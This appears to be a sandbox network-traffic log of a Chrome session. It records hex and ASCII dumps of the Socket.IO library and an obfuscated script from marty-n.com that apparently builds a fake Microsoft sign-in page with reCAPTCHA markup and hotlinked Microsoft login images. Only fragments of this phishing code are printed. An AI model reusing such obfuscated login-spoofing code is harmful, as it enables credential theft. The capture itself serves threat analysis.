2024-10-25 20:08:04 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-10-25 20:08:04 UTC	16384	IN	Data Raw: 64 20 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 29 2c 30 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 69 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 2b 2b 2c 69 2e 72 65 71 75 65 73 74 73 5b 74 68 69 73 2e 69 6e 64 65 78 5d 3d 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 65 2c 74 68 69 73 2e 78 68 72 29 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 6e Data Ascii: d this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(e){this.emitReserved("error",e,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:fun
2024-10-25 20:08:04 UTC	16384	IN	Data Raw: 65 2e 64 61 74 61 2c 69 64 3a 65 2e 69 64 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 63 6f 64 65 41 73 53 74 72 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 2b 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 26 26 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 7c 7c 28 74 2b 3d 65 2e 61 74 74 61 63 68 6d 65 6e 74 73 2b 22 2d 22 29 2c 65 2e 6e 73 70 26 26 22 2f 22 21 3d 3d 65 2e 6e 73 70 26 26 28 74 2b 3d 65 2e 6e 73 70 2b 22 2c 22 29 2c 6e 75 6c 6c 21 3d 65 2e 69 64 26 26 28 74 2b 3d 65 2e 69 64 29 2c 6e 75 6c 6c 21 3d 65 2e 64 61 74 61 26 26 28 74 2b 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2e 64 61 74 61 2c 74 68 69 Data Ascii: e.data,id:e.id})}},{key:"encodeAsString",value:function(e){var t=""+e.type;return e.type!==Be.BINARY_EVENT&&e.type!==Be.BINARY_ACK\|\|(t+=e.attachments+"-"),e.nsp&&"/"!==e.nsp&&(t+=e.nsp+","),null!=e.id&&(t+=e.id),null!=e.data&&(t+=JSON.stringify(e.data,thi
2024-10-25 20:08:04 UTC	1543	IN	Data Raw: 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 28 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 61 74 74 65 6d 70 74 22 2c 74 2e 62 61 63 6b 6f 66 66 2e 61 74 74 65 6d 70 74 73 29 2c 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 74 2e 6f 70 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 28 74 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 3d 21 31 2c 74 2e 72 65 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 65 72 72 6f 72 22 2c 6e 29 29 3a 74 2e 6f 6e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 29 29 29 7d 29 2c 6e 29 3b 74 68 69 73 2e 6f 70 74 73 2e 61 75 74 6f 55 6e 72 65 66 26 26 72 2e Data Ascii: etTimeoutFn((function(){t.skipReconnect\|\|(e.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect\|\|t.open((function(n){n?(t._reconnecting=!1,t.reconnect(),e.emitReserved("reconnect_error",n)):t.onreconnect()})))}),n);this.opts.autoUnref&&r.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49723	185.45.66.155	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:04 UTC	345	OUT	GET /o/jsnom.js HTTP/1.1 Host: marty-n.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:05 UTC	284	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:05 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 30 Sep 2024 10:56:37 GMT ETag: "73b0b0c-1877d-623540f1918c2" Accept-Ranges: bytes Content-Length: 100221 Content-Type: application/javascript
2024-10-25 20:08:05 UTC	7908	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 35 39 65 62 30 35 20 3d 20 5f 30 78 35 39 65 62 28 29 3b 20 72 65 74 75 72 6e 20 5f 30 78 31 66 61 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 61 65 35 39 2c 20 5f 30 78 33 39 31 66 64 35 29 20 7b 20 5f 30 78 31 66 61 65 35 39 20 3d 20 5f 30 78 31 66 61 65 35 39 20 2d 20 30 78 65 61 3b 20 6c 65 74 20 5f 30 78 63 62 63 31 36 39 20 3d 20 5f 30 78 35 39 65 62 30 35 5b 5f 30 78 31 66 61 65 35 39 5d 3b 20 72 65 74 75 72 6e 20 5f 30 78 63 62 63 31 36 39 3b 20 7d 2c 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 3b 20 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 Data Ascii: function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 5c 78 32 30 61 75 74 6f 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 61 75 74 6f 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: te;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-right:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20height:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-top:\x200%;\x0a\x20\x20\x20\x20\x20\x20\x2
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 69 6e 67 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 6f 72 64 2d 73 70 61 63 69 6e 67 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 61 70 70 65 61 72 61 6e 63 65 3a 5c 78 32 30 74 65 78 74 66 69 65 6c 64 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 2d 69 6e 74 65 72 6e 61 6c 2d 6c 69 67 68 74 2d 64 61 72 6b 28 72 67 62 28 32 35 35 2c 5c 78 32 30 32 35 35 2c 5c 78 32 30 32 35 35 29 2c 5c 78 32 30 72 67 62 28 35 39 2c 5c 78 32 30 35 Data Ascii: ing:\x20normal;\x0a\x20\x20\x20\x20\x20\x20\x20\x20word-spacing:\x20normal;\x0a\x20\x20\x20\x20\x20\x20\x20\x20appearance:\x20textfield;\x0a\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20-internal-light-dark(rgb(255,\x20255,\x20255),\x20rgb(59,\x205
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 73 68 72 69 6e 6b 6d 65 6e 75 31 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6e 65 77 31 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20\x0a\x20\x20\x20\x20.shrinkmenu1\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20cursor:\x20pointer;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.new1\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20cursor:\x20pointer;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 32 30 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 61 6e 69 6d 61 74 69 6f 6e 3a 5c 78 32 30 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 2d 62 65 66 6f 72 65 5c 78 32 30 32 73 5c 78 32 30 69 6e 66 69 6e 69 74 65 5c 78 32 30 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 3a 61 66 74 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 2d 31 32 70 78 3b 5c Data Ascii: 20ease-in-out;\x0a\x20\x20\x20\x20\x20\x20\x20\x20animation:\x20dot-floating-before\x202s\x20infinite\x20ease-in-out;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.dot-floating::after\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20left:\x20-12px;\
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 78 32 30 2e 63 68 65 63 6b 62 6f 78 2d 77 72 61 70 70 65 72 2d 34 33 5c 78 32 30 69 6e 70 75 74 5b 74 79 70 65 3d 5c 78 32 32 63 68 65 63 6b 62 6f 78 5c 78 32 32 5d 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 76 69 73 69 62 69 6c 69 74 79 3a 5c 78 32 30 68 69 64 64 65 6e 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 63 68 65 63 6b 62 6f 78 2d 77 72 61 70 70 65 72 2d 34 33 5c 78 32 Data Ascii: x20.checkbox-wrapper-43\x20input[type=\x22checkbox\x22]\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20visibility:\x20hidden;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.checkbox-wrapper-43\x2
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 62 6c 6f 63 6b 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 73 69 64 65 42 61 72 3e 69 6d 67 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 3a 5c 78 32 30 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20.sideBar>img\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x2010px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 72 65 73 65 6e 74 61 74 69 6f 6e 5c 78 32 32 5c 78 32 30 70 6e 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 37 63 63 30 39 36 64 61 36 61 61 32 64 62 61 33 66 38 31 66 63 63 31 63 38 32 36 32 31 35 37 63 2e 70 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 Data Ascii: resentation\x22\x20pngsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.png\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 61 74 61 2d 62 69 6e 64 3d 5c 78 32 32 69 6d 67 53 72 63 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20data-bind=\x22imgSrc\x22\x20src=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20
2024-10-25 20:08:05 UTC	8000	IN	Data Raw: 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 3c 69 6e 70 75 74 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 72 65 63 61 70 74 63 68 61 63 68 65 63 6b 62 6f 78 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 63 68 65 63 6b 62 6f 78 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 5c 78 32 32 3e 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 72 65 63 61 70 74 63 68 61 73 75 62 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: \x20\x20...\x20<input\x20class=\x22recaptchacheckbox\x22\x20type=\x22checkbox\x22\x20name=\x22\x22\x20id=\x22\x22>\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22recaptchasub\x22>\x0a\x20\x20\x20\x20\x20\x20\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49731	18.245.31.5	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	359	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:06 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 f99e0a5708c6297d4aa91b3e4794707e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: AG-GHpgODQiCZxtiY3yRNFmi95VHjRpsdEbOh4Ac-WPnhfFe2Ei1Dg== Age: 7594276
2024-10-25 20:08:06 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-10-25 20:08:06 UTC	16384	IN	Data Raw: 64 20 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 29 2c 30 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 69 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 2b 2b 2c 69 2e 72 65 71 75 65 73 74 73 5b 74 68 69 73 2e 69 6e 64 65 78 5d 3d 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 65 2c 74 68 69 73 2e 78 68 72 29 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 6e Data Ascii: d this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(e){this.emitReserved("error",e,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:fun
2024-10-25 20:08:06 UTC	16384	IN	Data Raw: 65 2e 64 61 74 61 2c 69 64 3a 65 2e 69 64 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 63 6f 64 65 41 73 53 74 72 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 2b 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 26 26 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 7c 7c 28 74 2b 3d 65 2e 61 74 74 61 63 68 6d 65 6e 74 73 2b 22 2d 22 29 2c 65 2e 6e 73 70 26 26 22 2f 22 21 3d 3d 65 2e 6e 73 70 26 26 28 74 2b 3d 65 2e 6e 73 70 2b 22 2c 22 29 2c 6e 75 6c 6c 21 3d 65 2e 69 64 26 26 28 74 2b 3d 65 2e 69 64 29 2c 6e 75 6c 6c 21 3d 65 2e 64 61 74 61 26 26 28 74 2b 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2e 64 61 74 61 2c 74 68 69 Data Ascii: e.data,id:e.id})}},{key:"encodeAsString",value:function(e){var t=""+e.type;return e.type!==Be.BINARY_EVENT&&e.type!==Be.BINARY_ACK\|\|(t+=e.attachments+"-"),e.nsp&&"/"!==e.nsp&&(t+=e.nsp+","),null!=e.id&&(t+=e.id),null!=e.data&&(t+=JSON.stringify(e.data,thi
2024-10-25 20:08:06 UTC	1543	IN	Data Raw: 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 28 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 61 74 74 65 6d 70 74 22 2c 74 2e 62 61 63 6b 6f 66 66 2e 61 74 74 65 6d 70 74 73 29 2c 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 74 2e 6f 70 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 28 74 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 3d 21 31 2c 74 2e 72 65 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 65 72 72 6f 72 22 2c 6e 29 29 